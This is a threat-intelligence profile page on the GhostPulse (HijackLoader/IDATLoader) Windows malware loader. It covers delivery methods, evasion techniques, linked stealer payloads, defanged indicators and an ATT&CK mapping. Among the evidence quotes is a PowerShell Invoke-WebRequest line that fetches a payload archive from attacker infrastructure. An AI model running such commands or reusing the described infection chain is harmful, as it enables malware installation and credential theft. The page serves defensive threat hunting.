Skip to main content
Live Webinar with SANS (June 25)— Agentic CTI Automation for Fun & ProfitRegister Free
Mallory
Malware

GHOSTPULSE

GhostPulse is a multi-stage Windows malware loader, also referred to in the provided content as HijackLoader and IDATLoader, used to decrypt, stage, and inject follow-on payloads while evading detection. It has been observed since at least 2023 and has undergone continuous updates. Reported delivery vectors include signed malicious MSIX packages masquerading as legitimate software installers, ClickFix fake CAPTCHA/social-engineering chains that trick users into executing PowerShell, trojanized MSI installers, DLL sideloading via swapped application DLLs, and broader malvertising, SEO poisoning, compromised websites, and phishing campaigns. The content also notes activity consistent with FakeBat operations distributing GhostPulse.

Across the reporting, GhostPulse commonly uses staged PowerShell downloaders, encrypted container files, and DLL sideloading to launch its first stage. Observed chains include abuse of signed or legitimate binaries such as a renamed Notepad++ updater binary vulnerable to DLL sideloading, Zoner Photo Studio Autoupdate (VoTransmitt.exe), and iMyFone Feedback (Utils.exe) with trojanized DLLs such as libcurl.dll, sciter32.dll, and Qt5Network.dll. GhostPulse has been documented extracting encrypted payload data from files containing repeated PNG IDAT chunks, including handoff.wav, Heeschamjet.rc, Crock.elf, and cachedrv.xml. Multiple reports emphasize that newer variants may parse headerless IDAT chunks without valid PNG headers, rather than relying on conventional PNG steganography.

Documented evasion and execution techniques include custom import resolution, parsing the PEB to locate modules, XOR decryption and decompression of embedded blobs, module stomping by writing shellcode into loaded DLL .text sections, direct NT API invocation to evade userland hooks, environment-variable-based handoff between stages, persistence via .lnk creation, WOW64 and heaven’s gate usage, and Process Doppelgänging with NTFS transactions to launch final payloads. One ClickFix-related variant stored configuration in an encrypted file and optionally delayed execution when certain running processes were detected. Another observed chain used an intermediate .NET loader that patched AMSI, decrypted a payload from its .tls section, loaded the CLR, and reflectively loaded ARECHCLIENT2.

GhostPulse is associated in the content with financially motivated malware delivery activity rather than a single exclusive actor. Reporting links its use to campaigns overlapping with FakeBat and Microsoft-tracked Storm-1113, and it appears in ShadowLadder-related delivery chains. It has been used to deploy a range of final payloads including SectopRAT/ARECHCLIENT2, Rhadamanthys, Vidar, Lumma, NetSupport, RedLine, and DeerStealer. Targeting described in the source material is broad and opportunistic, affecting Windows users across multiple industries through fake software installers, browser-update lures, piracy-themed lures, and compromised websites.

High-confidence indicators mentioned in the content include C2 or related infrastructure observed in GhostPulse-linked chains: 195.201.198[.]179:15647 for a SectopRAT payload delivered by GhostPulse; 185.156.72[.]80:15847 in activity previously associated with the GhostPulse loader; and ClickFix/GhostPulse-related infrastructure including 50.57.243[.]90, clients.dealeronlinemarketing[.]com/captcha/, clients.contology[.]com/captcha/, koonenmagaziner[.]click, shorter[.]me/XOWyT, bitly[.]cx/iddD, and Pastebin raw content used to retrieve secondary C2 information. File artifacts specifically tied to GhostPulse delivery in the content include handoff.wav, Shonomteak.bxi, Heeschamjet.rc, Crock.elf, cachedrv.xml, and servicetable68.cfg.

Share:
For your environment

Hunt this family in your stack

Mallory pivots from this family to the IOCs, detections, and named campaigns that touch your stack, and pages you when something new lands.

MITRE ATT&CK

Techniques & procedures

29 distinct techniques documented for this family, organized by ATT&CK tactic.

Resource Development

2 techniques
T1583Acquire InfrastructureEvidence1

Victims are typically lured through malicious advertising or SEO poisoning campaigns, believing they are downloading legitimate software such as Grammarly, Microsoft Teams, Notion, or Zoom.

T1608.006SEO PoisoningEvidence1

Victims are typically lured through malicious advertising or SEO poisoning campaigns, believing they are downloading legitimate software such as Grammarly, Microsoft Teams, Notion, or Zoom.

Initial Access

3 techniques
T1189Drive-by CompromiseEvidence1

In a common attack scenario, we suspect the users are directed to download malicious MSIX packages through compromised websites, search-engine optimization (SEO) techniques, or malvertising.

T1566PhishingEvidence1

The infection chain begins with a phishing page that imitates a Cloudflare anti-DDoS Captcha verification.

T1566.002Spearphishing LinkEvidence2

The infection chain begins with a phishing page that imitates a Cloudflare anti-DDoS Captcha verification.

Execution

7 techniques
T1059Command and Scripting InterpreterEvidence1

The malware then initiates a suspended child process using the executable specified in the Stage 2 configuration, which is a 32-bit cmd.exe in this case.

T1059.001PowerShellEvidence3

However, a PowerShell script is covertly used to download, decrypt, and execute GHOSTPULSE on the system.

T1106Native APIEvidence1

When the malware necessitates the execution of an NT API, it adds the API offset to the base address of ntdll.dll and directly invokes the API.

T1204User ExecutionEvidence1

This social engineering technique tricks users into copying and pasting malicious PowerShell that results in malware execution.

T1204.001Malicious LinkEvidence1

When executed, it fetches the following PowerShell script: Invoke-WebRequest -Uri "https://bitly[.]cx/iddD" -OutFile "$env:TEMP\ComponentStyle.zip"

T1204.002Malicious FileEvidence2

Elastic Security Labs has observed a campaign to compromise users with signed MSIX application packages to gain initial access... With App Installer, MSIX packages can be installed with a double click.

T1559.001Component Object ModelEvidence1

To achieve this, the malware leverages COM (Component Object Model) objects as part of its technique.

Persistence

2 techniques
T1543Create or Modify System ProcessEvidence1

The malware then initiates a suspended child process using the executable specified in the Stage 2 configuration, which is a 32-bit cmd.exe in this case.

T1547.009Shortcut ModificationEvidence1

GHOSTPULSE has the ability to establish persistence, if configured to, by generating an .lnk file that points to the Stage 1 binary, denoted as VBoxSVC.exe.

Privilege Escalation

6 techniques
T1055Process InjectionEvidence1

The legitimate mshtml.dll code is overwritten with the WriteProcessMemory API. The primary thread’s execution is then redirected to the malicious code in mshtml.dll with the Wow64SetThreadContext API.

T1055.003Thread Execution HijackingEvidence1

The primary thread’s execution is then redirected to the malicious code in mshtml.dll with the Wow64SetThreadContext API.

T1055.012Process HollowingEvidence1

Shellcode (Stage 2) contained inside the decrypted and decompressed blob of data is written to the .text section of the freshly loaded DLL and then executed. This technique is known as 'module stomping'.

T1055.013Process DoppelgängingEvidence1

GHOSTPULSE employs Process Doppelgänging, leveraging the NTFS transactions feature to inject the final payload into a new child process.

T1543Create or Modify System ProcessEvidence1

The malware then initiates a suspended child process using the executable specified in the Stage 2 configuration, which is a 32-bit cmd.exe in this case.

T1547.009Shortcut ModificationEvidence1

GHOSTPULSE has the ability to establish persistence, if configured to, by generating an .lnk file that points to the Stage 1 binary, denoted as VBoxSVC.exe.

Stealth

11 techniques
T1027Obfuscated Files or InformationEvidence2

The campaign leverages a stealthy loader we call GHOSTPULSE which decrypts and injects its final payload to evade detection... By minimizing the on-disk footprint of encrypted malicious code, the threat actor is able to evade file-based AV and ML scanning.

T1027.003SteganographyEvidence1

Defense Evasion Steganography T1027.003 Payload hidden in PNG IDAT chunk data stream

T1027.005Indicator Removal from ToolsEvidence1

This is done to evade userland hooks set by security products.

T1036.005Match Legitimate Resource Name or LocationEvidence1

Defense Evasion Masquerading T1036.005 Legitimate iMyFone binary with valid (expired) EV cert

T1055Process InjectionEvidence1

The legitimate mshtml.dll code is overwritten with the WriteProcessMemory API. The primary thread’s execution is then redirected to the malicious code in mshtml.dll with the Wow64SetThreadContext API.

T1055.003Thread Execution HijackingEvidence1

The primary thread’s execution is then redirected to the malicious code in mshtml.dll with the Wow64SetThreadContext API.

T1055.012Process HollowingEvidence1

Shellcode (Stage 2) contained inside the decrypted and decompressed blob of data is written to the .text section of the freshly loaded DLL and then executed. This technique is known as 'module stomping'.

T1055.013Process DoppelgängingEvidence1

GHOSTPULSE employs Process Doppelgänging, leveraging the NTFS transactions feature to inject the final payload into a new child process.

T1140Deobfuscate/Decode Files or InformationEvidence1

During stage 1 of the loader, it decrypts the file using a DWORD addition operation with a value stored in the file itself.

T1218.007MsiexecEvidence1

Execution Windows Installer T1218.007 MSI deploys payload via msiexec

T1622Debugger EvasionEvidence1

Defense Evasion Debugger Evasion T1622 IsDebuggerPresent checks in trojanized DLL

Discovery

3 techniques
T1057Process DiscoveryEvidence1

When the boolean field b_detect_process is set to True, the malware executes a function that checks for a list of processes to see if they are running.

T1083File and Directory DiscoveryEvidence1

Additionally, it has the capability to disable redirection of the file system to WOW64, achieved through the utilization of the procedure Wow64FsRedirection, if configured to do so.

T1622Debugger EvasionEvidence1

Defense Evasion Debugger Evasion T1622 IsDebuggerPresent checks in trojanized DLL

Command and Control

2 techniques
T1105Ingress Tool TransferEvidence3

In one sample, the PowerShell script downloads a GPG-encrypted file from manojsinghnegi[.]com/2.tar.gpg.

T1573Encrypted ChannelEvidence1

Command and Control Encrypted Channel T1573 HTTPS C2 communication

INDICATORS OF COMPROMISE

IOCs tracked for this family

37 indicators attributed across vendor reports, sandbox runs, and researcher write-ups. Full values are available in Mallory.

View more in app
Network
17 tracked

IPs, domains, and DNS infrastructure linked to this family.

Hashes
15 tracked

File hashes (MD5, SHA-1, SHA-256) from samples and reports.

Other
5 tracked

Other indicator types observed in public reporting.

TypeValueLatest sighting
domain●●●●●●●●●●●●View more in app1 month ago
domain●●●●●●●●●●●●View more in app1 month ago
domain●●●●●●●●●●●●View more in app1 month ago
domain●●●●●●●●●●●●View more in app1 month ago
domain●●●●●●●●●●●●View more in app1 month ago
domain●●●●●●●●●●●●View more in app1 month ago
ACTIVITY FEED

Recent activity

12 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.

breakglass intelNews
Mar 12, 2026
GhostPulse Hides DeerStealer in 752 Headless IDAT Chunks: PNG Steganography Without a PNG, DLL Sideloading via iMyFone, and a $3,000/Month MaaS Empire - Breakglass Intelligence - Breakglass Intelligence

Loader delivered through a trojanized Qt5Network.dll via DLL sideloading. It activates in DllMain, reads encrypted payload and config files, parses IDAT chunk data from a fake XML container, extracts the XOR key from the config, decrypts the payload, and injects DeerStealer into memory. The sample uses headerless PNG IDAT chunk framing rather than a valid PNG image.

Read more
breakglass intelNews
Mar 12, 2026
ShadowLadder Unmasked: GhostPulse IDAT Steganography Delivers Rhadamanthys via Trojanized KMS Activators - Breakglass Intelligence - Breakglass Intelligence

Payload concealment and delivery technique/tool using PNG IDAT chunk structure to hide custom-encrypted shellcode. In this chain it is used to store and deliver the encrypted payload processed by HijackLoader.

Read more
elastic security labsNews
Oct 14, 2025
NightMARE on 0xelm Street, a guided tour - Elastic Security Labs

With the release of v0.16, here are the different malware families that we cover. blister deprecated ghostpulse latrodectus lobshot lumma netwire redlinestealer remcos smokeloader stealc strelastealer xorddos

Read more
splunk researchNews
Aug 5, 2025
Analytics Story: MSIX Package Abuse | Splunk Security Content

Payload delivered through malicious MSIX packages in activity aligned with FakeBat techniques.

Read more
What this page doesn’t show

The version that knows your environment.

This page is what’s public. Mallory adds the parts that aren’t: which of your assets match these IOCs, which detections are missing, which campaigns to expect next, and what to do in the next 30 minutes.
IOC matching37

Match every observed IP, domain, and hash against your live telemetry.

Threat actor attribution

Named campaigns wielding this family, with evidence pinned to each claim.

Exploited vulnerabilities

CVEs this family uses for access and lateral movement.

Detection signatures

YARA, Sigma, Snort, and vendor rules, auto-deployed to your SIEM.

MITRE ATT&CK mapping29

Every documented technique, ranked by evidence weight.

Researcher chatter

Reddit, Mastodon, and CTI community discussion around this family.